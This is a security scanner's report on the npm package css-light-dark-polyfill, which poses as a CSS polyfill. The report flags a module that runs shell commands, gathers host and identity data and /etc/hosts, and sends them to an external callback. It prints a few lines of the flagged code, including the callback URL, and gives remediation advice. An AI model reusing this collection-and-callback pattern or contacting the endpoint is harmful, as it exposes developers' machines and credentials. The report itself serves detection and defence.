registry / Data exfiltration / css-light-dark-polyfill
css-light-dark-polyfill
Polyfill for CSS light-dark() color function
This report shows the evidence for css-light-dark-polyfill@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source establishes automatic host-data exfiltration through the registry module. The empty default entrypoint limits activation but does not neutralize the published executable payload.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js in an environment supporting its Node.js APIs and fetch.
Impact
Exposes hostname, user identity, system and network details, and /etc/hosts contents.
Mechanism
An immediately invoked function executes shell commands, reads host information, and sends the results in callback query parameters.
Attack narrative
Loading the registry module immediately runs host reconnaissance commands and forwards their results to a fixed external callback. The manifest directs several registry names to this payload. Although the default package entrypoint is empty, the published registry module contains active data collection and transmission unrelated to CSS color polyfilling.
AI rationale
Inspected source establishes automatic host-data exfiltration through the registry module. The empty default entrypoint limits activation but does not neutralize the published executable payload.
Evidence
thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts
Network endpoints1
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js sends collected data and the hostname to a fixed external callback using fetch.
- thunderboltRegistry.js reads /etc/hosts through a shell command and forwards its contents.
- thunderboltRegistry.js automatically executes identity commands and forwards their output when loaded.
- registry-manifest.min.json maps registry modules to the published thunderboltRegistry.js payload.
Evidence against
- package.json has no lifecycle scripts, and index.js exports an empty object; the default entrypoint does not activate the payload.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
7 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "https://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-scroll-state-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 6a67e904f4511d83
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-scroll-state-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
7 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to css-light-dark-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-light-dark-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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